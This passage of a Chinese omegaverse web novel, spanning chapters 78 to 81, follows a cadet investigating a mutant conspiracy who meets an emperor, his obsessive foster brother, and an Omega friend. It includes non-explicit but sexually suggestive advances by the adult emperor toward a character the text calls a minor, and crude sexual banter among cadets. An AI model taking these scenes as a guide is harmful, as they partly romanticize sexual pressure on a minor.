时茧嗯一声,查看着报告,问道:“和异种的对比结果呢?” 在沈行川无意间提到异种得到启发后,时茧提出进行深度的基因检测时就着重强调再加入一份与异种的比对检测,工作人员自然也没漏下,又递给他一份纸质资料:“和异种的基因对比结果也差不多,有一定亲缘度,但从生命体特征上来看,又明显不可能是异种。” 沈行川都快听晕了:“那这到底是个什么玩意儿?总不能是人类少女爱上异种将军双方站在世界的对立面恨海情天生下了这样一个混血儿吧。” 负责人很多时候都折服于他天马行空的想象力,掏出小方巾擦着额头的汗:“通过科学院多次研究证明,基本能够断定人类和异种是有生殖隔离的,马和驴配种能生下骡子,但人类和异种根本无法配种,所以基本可以排除死者是人类和异种的混血儿的可能性。” 沈行川头脑风暴:“那到底会是什么?” 一直沉默的时茧却忽然出声,一句话让在场所有人都不寒而栗:“从生物学讲,一个新物种的出现可能是杂交,也可能是……” 变异。 他看着那几份实验报告,眼神极冷,沉声道:“事关重大,我会把这件事上报给时藏锋上将和皇帝陛下,由他们裁夺。从现在开始,有关督察队队长的深度尸检结果的保密级别提升到绝密,未经允许,在场的任何人都不得向外界随意透露丁点消息。” 不等负责人和检测人员有更多反应,时茧就对沈行川下令:“你先带几位去温上校那儿,说清楚来龙去脉,在事情还没查清楚之前,他们都不太适合继续留下工作,暂时先放几天假吧。” 负责人都懵了,不就是个检测结果吗,有这么严重? 时茧半哄半骗地安抚他:“别紧张,督察队队长身居要职,贸然自杀后续会引起不少纠纷,你们先去避避风头也好,权当带薪休假了,等事情处理完再回来。” 负责人和检测人员们面面相觑,片刻,才终于下定决心般,认同了时茧的处理结果:“如果不是你,我们本来只做了基础的死亡原因检查,可能真的就把这么重要的线索漏掉了。不管你最终查出来什么,这一切都是为了联邦,我们自然也会全力配合的。” 时茧的唇角微微扬起弧度,神色和语气都放缓许多:“感谢理解。” 决定好涉事相关人员的去留后,时茧和沈行川兵分两路,独自一人去了皇宫。 大总管和侍卫长等人都对时茧的到来见怪不怪,陛下很明显地表现出了对时小少爷超乎常人的喜爱,早就下令给予对方通行特权,真正的把皇宫当成家一样,想来就来、想走就走。 他们其实并不清楚陛下此举意欲何为,侍卫长猜测这也许是一种捧杀手段或者怀柔政策,通过拿捏时茧达到震慑时藏锋的目的;大总管则认为,这或许是陛下在为太子殿下物色太子妃—— 完美的容貌,高贵的家世,本人又是这么能力非凡,别说太子妃,直接做皇后都绰绰有余啊! 不过皇帝陛下毕竟有一定年纪了,虽说外表看着还挺年轻,但岁数上来说都和时小少爷的父亲同龄,怎么想也不可能是为了老牛吃嫩草吧?所以果然还是在替太子殿下择妃—— 真是父慈子孝啊! 大总管顶着白花花的头发和胡子,笑吟吟地、慈爱地看着时茧,已经在盘算届时为太子殿下迎娶时都该准备些什么贺礼,定要足够的排场,才能彰显出皇室的风范和对太子妃的重视。 “请跟我来。” 时茧点头应好,不知是否错觉,他总觉得总管爷爷和第一次来的时候有些不太一样,或者说,这一路上遇到的侍卫、女仆,看他的眼神……都有种说不出来的奇怪,总带着一种莫名的期盼和热切。 刚刚走过去的一队女仆就激动万分,羞赧地与时茧擦肩而过后,还来不及走太远,便迫不及待地交头接耳:“他长得可真好看!比我见过的所有Omega加在一起都还好看!” “年纪看起来真小,比太子殿下还小几岁吧,明明还是个小少年,但看过来的眼神让人觉得非常可靠。” “皇帝陛下和太子殿下眼光真好啊,如果是他做太子妃,那我一定要托关系申请调过去,最好是能常常看见他。” 她们兴奋地压低声音叽叽喳喳,时茧听不太真切,凭直觉判断出她们讨论的大概不是什么好事儿。 穿过几个连廊后,大总管颔首:“到了。” 时茧抬头,他上次随父亲来过,这分明不是会客厅。 看穿他的疑惑,大总管笑道:“这是皇帝陛下的私人寝宫,通常只有亲近者才能进入。” “哦。” 时茧拾级而上,心中并没有多少被优待的窃喜,笃定这为老不尊的家伙一定又没打什么好主意。 将时茧送进去后,总管便笑呵呵地退下了,并在心中为皇帝陛下加油打气,希望他能代替太子殿下尽早定下这么优秀的太子妃。 客厅没人,时茧一路畅通无阻,进到寝殿才看到等候多时的阿比斯·诺曼。 他只随意地披了一件松松垮垮的深色睡衣,颇有情调地品着红酒,姿态非常放松,眼底却在向时茧看过来时,藏着一种侵略性,仿佛眼下这一刻的所有闲适都只不过是为了能够捕到猎物而精心设下的陷阱,只待漂亮无害的小兔一头撞进来。 可惜时茧远不是那种软糯可爱的哺乳动物,他美丽的麟粉上沾满剧毒,吸引视线的同时,也让人放下戒心。 时茧随手撕下一块价值连城的刺绣窗帘,扔到阿比斯·诺曼身上,把他那碍眼的笑容和刻意露出来的小麦色胸肌都遮得严严实实:“穿件衣服吧,堂堂联邦皇帝,蓄意勾引未成年军校生,报道出去也不怕被民众弹劾。” 阿比斯·诺曼轻轻挑开身上的布料,站起身舒展着肌肉,有几分刻意地向时茧展示着他优越流畅的线条:“他们都说,我年纪比你大许多,因此哪怕是我对你有意,也都以为我是要替识云物色太子妃。那自然,只能用这种方式向你证明,我还没有那么老,至少仍旧有让你感兴趣的资本,不是么?” 有史以来最会物化自己的皇帝。时茧面无表情地想。 不过阿比斯·诺曼意识到小家伙或许更喜欢顾识云那样的禁欲款,他又很快正经起来,迅速换上一套修身西装,翩翩有礼地邀请时茧与自己一同享用午餐。 皇室御厨的手艺自不必多说了,时茧也从未在皇宫这样富丽堂皇、极尽奢华的地方吃过午饭,在琳琅满目的菜肴对比下,军校的营养餐堪比残羹剩饭,衬得他早上那口便捷咖啡都是那么凄凉苦楚,让时茧边吃边愤愤地想,怪不得时藏锋是坚定的去皇室派,就凭这样骄奢淫逸的生活,把狗皇帝押上断头台砍个十次八次一点也不过分。 时茧用完午餐,慢条斯理地拿餐巾擦擦嘴巴,问他:“为什么不约在顾识云那里谈。” 阿比斯·诺曼微微一笑:“原来你喜欢夫目前犯。下次我会安排的。” “……”时茧掷去刀叉,擦着阿比斯·诺曼的头发深深刺入后面的木质墙壁。 “下手还真是毫不留情啊。”阿比斯·诺曼无奈道,心底却闪过一丝惊骇和后怕。 他从顾识云的意识中提取到过时茧学习刀法的记忆,也知道这小家伙悟性极高,在禁闭室待的那段时间苦练成才,也靠这招成功驯服了那个常爱欺负他的军校生,但旁观到底是没有亲身经历来得震撼,若不是时茧刚刚露那一手,他还真没意识到这可不是什么中看不中用的菟丝花,浑身的刺让人惧怕又不由自主地想要靠近。 怎么办? 阿比斯·诺曼在心中叹息一声,这样锋芒毕露的时茧,更迷人了。 时茧谅他也不敢再随便开屏了,正色道:“谈谈正事。” “你的推测不无道理,甚至可以说是一个很好的方向,那么我们现在需要解决的一个问题是,像督察队队长这样的类人变异异种,是偶然现象,还是已经在我们看不见的角落里已经大量存在?如果存在,那么它们藏身何处,是融入了平民之中安定生活,还是……”阿比斯·诺曼悠悠道,“如督察队队长一般,遍布在联邦权力结构的各个派系里蛰伏,都在为这个所谓的杜鹃计划做背后推手。他们之中职级最高的变异异种,又达到什么级别了呢?” 时茧给出他答案:“余维。他一定是这个计划的最高执行者。” “没有证据。”阿比斯·诺曼说,“先不说很难获取他的DNA,即便能够拿到,即便结果摆在所有人面前,他也一定不会承认。他把控着第一军区,经过这么多年的蛰伏经营,只怕和其他军区的高官也有往来,或者说其他军区的高层里也有变异异种,真把事情摆在明面上,最后发生大规模的内战,受到战火波及的永远是联邦无辜子民。如果有办法,我不希望会是这种结果。” 从阿比斯·诺曼的话里,时茧意识到他或许早就对余维有所怀疑,即便没有精确到个体上,恐怕也早就有这样的心理准备,之所以迟迟没有动作,恐怕也是担心贸然行动会打草惊蛇,从而危及联邦大众。 他认可阿比斯·诺曼的观点,在杜鹃计划的内幕尚未查明、还没掌握全部的证据之前,不轻举妄动是最好的选择。 阿比斯·诺曼又安慰道:“但你也别太焦虑,这些年来我派人在暗处紧盯余维,收集了不少他结党营私、贪污腐败的证据,即使只是以品行不端这样的指控去弹劾他,也足够他伤筋动骨了——哪怕结果真的不尽如人意,你也不必为此感到内疚自责,你还这么年轻,不管是杜鹃计划还是极端组织,本都不该由你承担,否则联邦的军队岂不真是白养了。” 时茧知道阿比斯·诺曼是在宽慰自己,只是他从来都是非常较真执拗的性子,否则也就抗不过禁闭室那几个月,也做不到凭借一腔怒意和余宸死磕把他打得服服帖帖,所以阿比斯·诺曼的好意,时茧也只是心领。 “这几件事都和我有关系,哪怕只是为我自己,我也会查个水落石出的。” 阿比斯·诺曼拿时茧的坚持无可奈何,有几分无奈地笑道:“我就知道那么说对你没用。你放心,只要是你想做的,我都会全力配合,不管是畅通无阻的权限,还是……无论你有什么要求,都可以尽情地向我提出来,哪怕想要天上的星星,我也有办法给你摘下来。” 时茧:“真巧,我刚好有一个要求。” 阿比斯·诺曼眼前一亮,迫不及待地问:“是什么?” 时茧终于露出他进入皇宫以来的第一个笑,如昙花初现那般令男人移不开眼,只想把这一刻永远珍藏在记忆匣子里。 时茧在阿比斯·诺曼的期待中说:“你能不能早点死,好让顾识云尽快醒过来。” 皇帝陛下:“……” 他露出一个无比受伤的眼神,时茧居然能从那张轮廓硬挺的脸上看出几分可怜:“亲爱的,我不想让你做我的皇后就是不忍心你为我守活寡,你怎么能盼着我死。” 时茧冷笑道:“别装了,你根本就不会死,上一秒刚咽气,下一秒就作为顾识云的精神体又复活了吧。” 连15S小广告都不用看。 阿比斯·诺曼无比适应地说:“妈妈。” 时茧:“?” “精神体也是从小长大的啊,识云不是也叫我做父亲吗?”阿比斯·诺曼毫无羞耻之心,顶着自认的时茧公爹的身份,操着和时藏锋一样的法定年龄,作为一个不知道活了多少年的怪物,以过不了多久就会在顾识云的意识海里转生为精神体的信念,喊时茧,“妈妈。” “等我那时长大,你的丈夫老去,继承你的就应该是我了。” 时茧搭在卓沿的手猛地扣紧,在阿比斯·诺曼骤然加深的侵略眼神中,不由自主地挪动着椅子往后退了一些,对方却起身弯腰,山一般压过来:“诺曼皇室真正想要的继承物,一直都是你,这世界上独一无二的小蝴蝶——” “无论你是我的儿媳,妻子,母亲,我都会深深痴迷于你。你是我最珍贵的遗产,最后依旧由我继承。” 时茧强迫自己直视他的眼睛,有些恐惧、又忍不住骂道:“疯子。” “变态。” 阿比斯·诺曼的食指抵住时茧的薄唇,声音低沉而又缱绻:“喜欢你这样看着我,喜欢你骂我……怎么办啊,小茧无论做什么,我都好喜欢。” 第79章 第 79 章 你不是最厌恶Omega…… 阿比斯·诺曼极尽花言巧语, 试图邀请时茧留宿皇宫,但时茧防他比防狼还厉害,谈完正事后又去看了看顾识云, 便不顾皇帝陛下伏低做小的挽留, “无情”地离开了这虎狼之地。 他目前的身份仍是被借调外出协助任务的军校生,虽然作为时家小少爷的另一层身份让他想住在中心区任何地段的房子都只是一句话的事, 但时茧仍旧回到了临时驻扎地。 这里的住宿条件实际上也不差, 正式军人和军校生都是一样的待遇, 与同伴一起住二人间。 除了时茧情况有些特殊。温隅安以他还处在二次分化期的理由, 给他安排了一间独立住宿。 不想再和养兄有什么瓜葛也不代表所有事都必须要划分得一清二楚, 像这样对自己有实际好处的做法, 时茧倒也并不反感。他没有蠢到因为要争一口气之类的奇葩原因而非要拒绝对方的好意安排, 只有什么也拿不出手的人, 才会执着于这样一点自我安慰式的“断得干干净净”。 如果有必要, 时茧会把温隅安物尽其用, 不会有一分一毫为难和犹豫。 而温隅安, 会上赶着求时茧使用。 时茧回到驻扎地后本想向温隅安当面汇报他在联邦安全局查到的东西, 去办公室后才发现人没在,只能先找来沈行川:“他去哪儿了?” 沈行川摇头:“我上午就回来了,那时他就不在, 问副官,说是身体抱恙暂休一天。不过也明确说了回来的时间, 大约晚上十点左右。” 此时天色已晚,时茧脑海里闪过进营地门口时扫过的大堂挂钟,已经是傍晚六点。 往常这个时候温隅安会直接在办公室用完晚餐,连十几分钟的时间都不愿意耽搁,全身心都投入工作之中。以他那种无论做什么都要完美的性格, 究竟得病到多严重才会一整天都不在办公室? 时茧几乎一眼就分辨出这只不过是温隅安找来糊弄别人的借口,瞒其他人或许绰绰有余,但瞒他是瞒不过的。 时茧眸光一暗,并未声张,转身离开了。 沈行川也晕乎乎地跟上去:“不找人了吗?” “一条蛇想躲起来你是找不到的。”时茧淡淡道。 但到了一定时候,它就会自己从无声无息的黑暗处蜿蜒而出,顺着地砖爬到你的起居范围里,有可能躲在衣柜,也有可能一掀开被子,发现它正盘起来嘶嘶地吐着猩红舌头。 夜深,时茧洗完澡,只穿着套简单睡衣,伏案工作。 十六倍速快放听完又一通电话录音后,时茧取下监听耳机,揉着鼓胀的太阳穴闭目休息。 簌簌—— 这一点异样的声响在安静的室内被时茧精准捕捉,耳尖微动了动,随即睁开眼睛,往桌下看去时,裸露在空气中的小腿也正好缠上一条成年男性臂膀粗的黑曼巴蛇。 被时茧发现,它并未胆怯,反而更欢欣鼓舞地往上爬,嘶嘶吐着蛇信分辨空气中独属于对方的信息素,下一秒就被抓着尾巴狠狠摔到地上。 黑曼巴被这一下摔得七荤八素,缓了会儿后又坚强地立起上身,支起脑袋用那两颗豆豆眼可怜巴巴地望向时茧,腹部收缩着还想再爬。 时茧一脚踩在它的尾巴尖儿上,带着些许厌恶,冷声道:“说没说过我讨厌爬行动物,尤其恐蛇。” 踩下来的力度其实不大,黑曼巴却整根蛇都捋直了,豆豆眼猛地瞪大,蛇身激起一种细微且不正常的战栗。 温隅安推门而进,泄出一声难耐的低喘,时茧眉头一皱,立刻像踩到什么脏东西似的收回脚,把那条浑身瘫软了的黑曼巴踢到一边。 温隅安看了眼不争气的精神体,但已经无暇将它收回意识海了。 精神体就是Alpha的另一具身体,再粗俗一点,也可以直接等同于…… 时茧冷眼看向温隅安,下一秒,却脸色一变—— 不对劲。 ……温隅安S级Alpha该有的高侵略性信息素呢? 难道是抑制剂? 时茧在脑海里搜索,自他从医院苏醒以来,时藏锋与他相处都会提前打抑制剂,以防止自己过高等级的信息素会影响到他本就不稳定的二次分化,但那种情况是直接在一段时间内不产生任何的信息素,可时茧分明还闻得到温隅安身上阴雨味道的信息素,只不过…… 只不过……似乎变得更加温和,更加……安全。 就像是他和雷雨待在一起时的感觉。 时茧眉心紧锁,不清楚温隅安身上究竟发生了什么,却有种没由来的不安。 见他若有所思的表情,温隅安心下了然,露出一个有些苍白的笑容,一步步走过去。 “要再近距离感受一下吗?”温隅安仿佛看不到时茧抗拒的眼神,自顾自地走到他面前,旋即蹲下来,搭在他的膝盖上,向他露出自己发红的腺体。 “你喜欢我现在的信息素么?” 时茧想推开他,可这人看起来似乎随时要倒下去的样子,实际如磐石般纹丝不动,他尝试好几次无果后只得放弃,换上更加尖锐冷厉的语气:“你到底想做什么,真是莫名其妙。” 温隅安仰起头,他那张有些阴郁的脸上显露出毫不克制的、对时茧贪婪到有些许病态的渴望,痴痴笑道:“你不想原谅我……可能,也有我是Alpha的原因。如果不是当初我因为你也分化成Alpha,以为我们没有可能再在一起,才对你做出那些求而不得的事,或许我们就不会像今天这样了。” 时茧眉头深皱:“你到底发什么疯。” 温隅安的声音像蛇般湿缠而又缱绻,一眨不眨地注视着时茧,他的眼里仿佛亘古至今都只有这一个人。 “那我变成Omega,是不是就能和你在一起了?” 话音落地那一瞬间,时茧原本放松的瞳孔顿时睁圆,即使早就知道Omega极端崇拜组织有类似的实验数据,也根本没有想过温隅安会选择变成一个Omega。 他和这个人从小一起长大,待在一块儿的时间甚至比和亲哥哥还长。这个世界上没有人能够比时茧更了解温隅安,他分明就是个Alpha沙文主义者,每每提及Omega时,话里话外那种不平等的感觉都令时茧无法忽略,就好像Omega生下来就是为了配给Alpha做妻子一样。 即便现实似乎的确如此,但也不乏一些优秀的Omega冲破束缚闯出属于自己的事业,联邦也明确立法保障了Omega的不婚配权,很多Omega都选择了和同性在一起,除了无法得到官方认证之外和普通AO情侣也没有任何区别,光时茧知道的周围例子就有不少。 而这样异于主流的感情,在大部分人祝福的情况下,温隅安总是那个会私下对时茧恶狠狠批判的例外。在他的口中,Omega天生就是Alpha的妻子,只能够为Alpha诞育孩子,最好是一从新娘学院毕业,就嫁给能让他幸福的Alpha,在家里相夫教子,不需要去抛头露面地工作。 外人眼里温和优秀的温隅安,私底下有多不堪,只有时茧知道。 所以这样一个自负又自卑、永远以伪装面示人的Alpha,究竟为什么,会生出把自己变成从前最看不起的Omega的念头? 挽回他?向他证明,他真的愿意付出一切代价,只求一个原谅? 时茧垂眸,目光落在温隅安异常的腺体上:“你现在是Omega?” 温隅安顿了几秒,才摇摇头,坦诚又讨好地看向时茧:“不是……那些实验数据还不完善,我仿制出来的针剂只能够暂时让我的信息素闻起来像是Omega,但实质上……我依旧是一个Alpha。” 似乎怕时茧嫌弃,温隅安又急忙补充道:“但只要你喜欢!我可以一直打针。以后你想让我做什么,我就会做什么。” 时茧只觉讽刺,刻意用一种挑拣货物的眼神打量着温隅安,嗤笑一声:“你以前不是说Omega的作用只有安抚Alpha吗,怎么现在也自甘堕落,愿意变成自己最看不起的样子?” 在那样的眼神下,温隅安难堪得想要别过脸,却又贪恋时茧这一刻落在自己身上的目光,痛苦与欢愉交杂着,迫使他必须立刻表明自己满心澎湃得快要溢出来的爱意:“因为我下贱,我是你的狗,只要能让你开心一点,我做什么都愿意。” 时茧重新变得冷漠起来,就好像刚刚那种讥诮的神情从未出现在他脸上过那般,他强硬地推开温隅安,每一个字都犹如冰雹般重重砸在Alpha身上:“无论你做什么,我都不会和你在一起的。你太极端了温隅安,不管是以前伤害我的时候,还是现在,你永远都是这样,爱之欲其生、恶之欲其死,你就像你那条黑曼巴一样,费尽心思也只会让我感觉到厌烦和不寒而栗。” 温隅安被他推开,颓然地坐在冰凉的地上,露出一个又哭又笑的难看表情。 好残忍啊小茧,我在你这里已经毫无尊严了。 我还能怎么办。 第80章 第 80 章 做A做O都精彩。 次日。 极端组织的案件告一段落, 绝大部分高层和成员已经落网,只剩组织者仍在逃窜,奉命前来中心区驻扎的军队不日便要修整返回各自军区, 但为以防万一, 仍旧需要留守部分兵力。 中心区是皇室的势力范围,阿比斯·诺曼一半出于私心, 一半是为这件事背后牵扯到的杜鹃计划, 下令留下了时藏锋第九军区的势力和第一军校, 他们仍旧需要维持日常安保, 以防极端组织的残余势力卷土重来。 Omega的新娘学院全面解禁, 学生可以在有兵力部署保护的情况下自由进出, 但依旧保留了宵禁制度, 外出必须在规定时间内返回, 以免出现意外。 上午宣布解禁, 中午, 雷雨就发来消息, 想约时茧去白蔼高等学院叙旧。 沈行川等人听说后, 不免面露揶揄,上下打量着时茧:“哟~小茧宝宝长大了,是小茧哥哥了, 也要和Omega去约会了?” 尤其沈行川,更是挤眉弄眼地调侃他:“没想到我们之中最先脱单的居然是你, A+级的Omega,有福喔~” 时茧恼羞:“乱说什么……之前不是都说过了,那只是我从小到大的好朋友,你们别瞎起哄。” 付岩用老妈子慈爱的眼神看着他:“那不是更好吗,古话说得好, 近水楼台先得月,竟是郎骑竹马来,你们从小认识知根知底的,简直天作之合。” 时茧解释没用,无奈苦笑,不自觉庆幸还好那老东西没在这里,否则不知道能闹出什么幺蛾子来。 “行了,你们继续听那些通话录音,看看有没有收获,我暂时请半天假,晚上回来加班。” 隋边摘下半边耳机,挥挥手:“约你的会去吧,晚上不回来也可以,自己记得买套,别中途打电话给我让我帮你送,不可能理你的。” 沈行川不屑地切了一声:“得了吧,嘴硬而已,我不信你真的不理,一个电话打来还不是咬着牙送去了。” “你们这些Alpha能不能别这么下流!” 时茧的脸“腾”一下红了,逃一般离开办公室。 剩下的人纷纷对视,沈行川摇头道:“什么叫‘你们这些Alpha’,他自己不也是Alpha吗?只不过在教他生理知识而已。” 隋边控制不住自己对时茧天然而生的刻薄心态:“谁知道怎么回事,没吃过猪肉还没见过猪跑吗,这些生理课上不都讲过。他做Alpha都这样,那他要是个Omega,岂不更加不把自己身体当回事?难不成还让外头那些臭公狗无.套.进去,还没毕业就挺着大肚子未婚先育?” 几人中唯一算知道点内情的付岩:“……” 不敢说话。 偏偏这两人还齐齐看向他:“你说对吧?” 付岩笑得有些尴尬:“昂……是吧……确实要好好接受性教育啊……” 直到一路快步走出营地,时茧满脸的臊意才稍稍平息一些,那些毫不避讳的字句病毒般盘旋在他脑海里,想忽视忘记都做不到,只能愤愤地想—— 这群人也太口无遮拦了,他现在还是个Alpha,如果还像以前那样是个Omega,这些话都、都算得上性骚扰了! Alpha真是一群下半身控制大脑的生物! 时茧一路在心里吐槽,不知不觉就到了和雷雨约定好的碰头地点,许久不见的好友一见到他便眼前一亮,小狗摇着尾巴般朝他扑过来。 “小茧!我想死你了!” 时茧本已做好迎接这颗炮弹的准备,然而对方冲到跟前却是一把将他抱起来热情转圈,动静吸引了不少路人,看两人这身高差肤色差,还以为雷雨是Alpha,时茧是他的Omega,纷纷用艳羡又祝福眼神看着他们。 注意到频频回头的人群,时茧忙轻拍着雷雨肩膀,小声道:“你快放我下来,有人……好多人看着呢!” “让他们看去!我们小茧这么漂亮,就是要多被看看!”话虽这么说,但雷雨还是听话地将时茧放下,揽过他肩膀,带着往十字路口对面的学校走去。 “走啦,带你参观一下差点就要来上学的地方。” 被这样亲密地搂着,时茧多多少少有些别扭,但见到雷雨这么高兴,加上从小也都是这样的相处模式,他也就没想太多,小鸟依人般被搂在怀里带着往前走。 中途还担忧了一下:“我现在是Alpha,那里面都是Omega,这样贸然进去,会不会不太好?” 雷雨:“这有什么?你现在可是史上最年轻的联邦之星,Omega们的新晋梦中情人,大家讨厌的只是那些直A癌,见到你嘛,只会特别喜欢你。” 不等时茧继续纠结,他们一踏进白蔼高等学院,Omega们看见他后都纷纷上前打招呼,果然都带着些许崇拜和喜欢的眼神,笑容也十分热情:“哇!你就是时茧吗?长得比校花还漂亮啊,如果能和你生宝宝那肯定会遗传到特别优秀的基因。” “听说是你舍生取义捣毁了极端组织,太厉害了,这样我们以后就再也不用担心走在校外会被绑架了,真是谢谢你呀。” “如果时同学是Omega就好了……” “是Alpha也不错啊,Omega中也有不少OA恋的,像时茧同学这样的人,不管做A做O还是做B都很精彩。” “毕业礼上如果时茧同学会出席,我要把我的花送给你!” “我也是!” “那时茧同学肯定会是收到花最多的人……” 时茧很不好意思地被Omega们团团簇拥,鼻间尽是温和好闻的花草调信息素,不像Alpha扎堆的地方那样彼此倾轧圈地让人本能反感。时茧就像掉进了花海里,被香气熏得头晕乎乎的,脚都没觉得踩在地上,而是踩在了棉花云朵上,软绵绵的没一点实感。 也还好有雷雨揽着他肩膀,不然都不知道该怎么走出人群。 看他像喝醉酒乱飞的蝴蝶一样,雷雨不禁好笑道:“怎么啦?太久没和Alpha们待在一起,都不适应了?” 时茧以前也总这样被Omega们包围,但那是他毕竟是Omega,只觉得同类们特别热情特别可爱,虽然自己性格上做不到太融入集体,却也不会过于格格不入。 可他现在的身份是Alpha啊…… Alpha怎么能和Omega距离这么近…… 像是看穿时茧心中想法,雷雨的笑容多出一份晦暗,但并不明显,至少时茧抬头时,不和谐的部分已经一闪而逝。 雷雨笑道:“Alpha又怎么了,小茧没听到那些Omega们说吗,OA恋在Omega中占比也是很大的,像你这么……” 他打量了一下时茧的身形,不动声色地搂紧了点儿。 “……漂亮又可爱的。不管身份是Alpha还是Omega,都会很受Omega欢迎的。” “……和以前完全是不一样的体验。”时茧说。 他们边走边说,走到一处爬着紫藤萝的回廊,在长椅上坐下休息。 望着不远处三两成群、笑容洋溢的Omega们,时茧满心的话想说:“以前我自己也是Omega,如果一直都是的话,大概现在也是白蔼高等学院新生中的一员,在极端组织策划的绑架案威胁下恐怕也是需要被保护起来的人吧。好像一直都是这样,作为更弱势的一方,永远都被动地等待着、接受着被保护,除此之外什么也做不了。” 越说,时茧的语气越是怅然若失,一部分模糊的记忆压得他心情沉重,缓缓地吐着浊气:“可是,如果哪天庇护我的人们都无法再庇护我了呢,所有人都为此付出生命的代价,只留下我一个人,那又有什么用……” 他看着自己反过来的掌心,慢慢握紧:“所以,我也会想,如果我不那么弱小,如果我也能承担起保护弱小的责任,结果是不是就不会那么糟糕。即使是E级的Alpha,即使……我也可以出一份力,保护我想要守护的一切。” 时茧抬起头,看向身侧凝神注视他的雷雨,笑道:“你看,现在我也能保护你们了对不对?” 雷雨被这个笑容晃了一下,回过神后,也跟着笑,声音莫名沉稳,温柔了许多:“是啊,小茧特别厉害,多亏了你,那些绑架案的幕后真凶才能够这么快被逮捕,还大家一份清净。” 谈及此事,碍于保密条款,即使是雷雨,时茧也不能够泄露信息,只略带遗憾道:“可惜主谋逃了。” 雷雨安慰道:“没关系,这件事很快就会尘埃落定了。” 这个话题毕竟太敏感,雷雨又主动聊起别的:“余维那混账儿子没再欺负你了吧?我以前就说要去教训教训他,你非说自己能解决,要是我早点注意到你的情况,也就不会……” 时茧听出雷雨话里的自责,忙打断他:“别这么想,这又不是你的错。放心吧,他被余维喊回去,带在身边了,短时间内估计是作不了什么妖。” 其实说来也怪,以往那么牛皮糖一样死缠烂打的人,自这次医院醒来后,时茧居然就再也没见过他,除了知道被时藏锋教训了一顿之外,这人就像人间蒸发了似的,谁都没见过了。 总不能……是时藏锋为泄愤,把这人暗杀了吧。 时茧自己都觉得这样的想法实在太天方夜谭,他也只能猜测多半是余维察觉到山雨欲来,所以赶紧把这个定时炸弹弄到身边严加看管,免得因为他坏事。【你现在阅读的是 】 80-90 第81章 第 81 章 我不是妥协。 雷雨:“你好像已经完全适应第一军校的生活了。” 时茧沉吟片刻, 淡笑道:“一年以前,我自己大概也想不到,自己不仅能够适应, 还可以做得比绝大多数人更好。” 雷雨侧眸看向他, 眼神里是难以琢磨的幽深:“你妥协了。” 时茧很少见他这样,愣了一下, 思忖道:“我觉得这应该不是妥协, 而是征服。我并没有做背叛自己的胆小鬼, 只是用另一种方式在和这个世界周旋。” “很好的答案……只是说服不了我……” 雷雨越说到后面, 声音渐渐越弱下去, 时茧听不清楚他说了什么, 问及也只是笑笑转移话题, 问他要不要去自己的宿舍看看。 时茧随口道:“好啊。” 雷雨便带着他绕过一个天然湖泊, 抵达被林荫环绕的住宿区。 眼前的仿城堡建筑群让习惯了普通宿舍楼的时茧有些被震撼到, 雷雨却是见怪不怪:“你懂的, Omega嘛, 总是会在方方面面拥有Alpha得不到的优待, 就比如你现在看到的宿舍,我们都是单人间,配置就和轻奢单人公寓差不多——哪像第一军校这么反人类, 居然都是四人间三人间,那么小那么挤, 别说能施展开的面积了,连稳定供应的热水都没有。” 他看一眼时茧,想到自己前些日子去第一军校看见的生活环境,叹了口气:“真不知道你以前这么娇气的小少爷,到底是怎么吃下那么多苦的, 要我说还是做Omega更好啊,Alpha真是狗都不如。” 时茧一开始是挺惊讶白蔼高等学院的财大气粗的,怪不得一向挑剔的雷雨当时都吵着闹着要他一起报名,不过再震撼的东西多看几次也就不足为奇了。 至于雷雨为他打抱不平,时茧对此也没有太多愤懑。经历过第一军校地狱式的磨炼,又几次三番险些丧命后,时茧虽然外表看起来还很稚嫩,年龄也小,但心态早就平稳无波,比一些参加过不少任务的正式军人还淡定。 听雷雨那样说,也没有对自己目前的身份感到不满,而是站在客观的角度上,语气平和:“Omega要承担起生育和照顾家庭的职责,这本身就已经是一种很伟大的付出了,而且天生体质更弱,享受到更加优越一点的待遇,我想这是社会和学校都应该做的;至于Alpha,你知道的,太过于安逸的环境激不起他们的野性,作为保护者,当然要承担起应尽的责任。以前我是Omega,不会觉得拥有一些优待就是高人一等,现在我是Alpha,自然也不会为自己糟糕的待遇愤愤不平。” 雷雨嘟囔道:“你倒是觉悟很高……显得好像我很封建很极端一样。” 时茧笑笑:“怎么会,我知道你是心疼我。” “你还知道啊!”雷雨控诉道,“我最担心的就是你了!新闻上说你为了摧毁极端组织基地命悬一线,把我都快吓死了!偏偏我那时候还不能出去,只能干着急。你说这些任务跟你一个军校新生有什么关系,那么拼命干嘛,不就是个联邦之星吗,就算没有这次,你也迟早能够得到这份荣誉的,根本就没必要对自己这么狠。” 他越说越气,恶狠狠地对时茧说:“以后不许再把自己随随便便置于危险境地了,一定要听我的话!” 时茧知道他这是关心自己,却也很无奈:“极端组织不覆灭,中心区,乃至九个军区的Omega们怎么办,你怎么办,别忘了他们可是对高等级Omega情有独钟。要是不剿灭他们,你就是最有可能被盯上的目标之一,我也会担心你的啊。” 雷雨却说:“不可能,我很安全。” 他话中的笃定让时茧心底生出一丝疑虑,但雷雨是个话痨,下一秒就又吸引走了时茧的注意力。 “到了,这就是我的房间。” 雷雨刷卡开门,时茧走在前面,他在后面,顺手把门拉回来关紧。 时茧为了安慰雷雨,转着圈地夸他的宿舍。 雷雨果然一哄就忘了东南西北,高高兴兴招呼他坐,去冰箱里拿出几碟甜点,又倒了一杯鲜榨果汁:“尝尝?再怎么改性总不至于连甜品都不爱吃了吧。新娘学员也就只剩这点好,那烹饪课请的都是名厨大师,我随便学几招就够投喂你了。” 时茧惊喜道:“你还准备了这些!” “那当然,这次是我邀请你,自然要尽地主之谊嘛。”雷雨颇为骄傲地向时茧一一展示他做的这些甜品,“像你这样的小蝴蝶,就喜欢吃这些甜甜香香的东西了,不多学点手艺,怎么养好你呢?” 时茧不好意思地笑笑,说过谢谢,小口优雅地品尝起来。 雷雨不喜欢吃这些最可爱的Omega才会视若珍馐的甜品,只支着下巴专注地看着时茧像小猫咪吃猫条一样进食。后者吃到一半才发现他没动过,于是小心又珍视地掂起一块喂到他嘴边。 雷雨躲开了,笑咪咪道:“太甜了。我特意为你准备的,你喜欢就多吃点。” 时茧也不勉强他,由衷地夸赞道:“放以前我肯定不敢想象长辈们口中最离经叛道、像个Alpha的Omega能做出这么美味的甜点。” 雷雨也学着他的语气,做出很怪的表情:“就像我也没有想到曾经公认最娇气高傲的小少爷会变成一个受了委屈自己咽下、吃再多苦也不吭声的人。” 时茧咬下一口奶油,有几分无奈地说:“好啦……这是我自己选择的路,你总这么担心我,会让我感觉到很大的压力。” 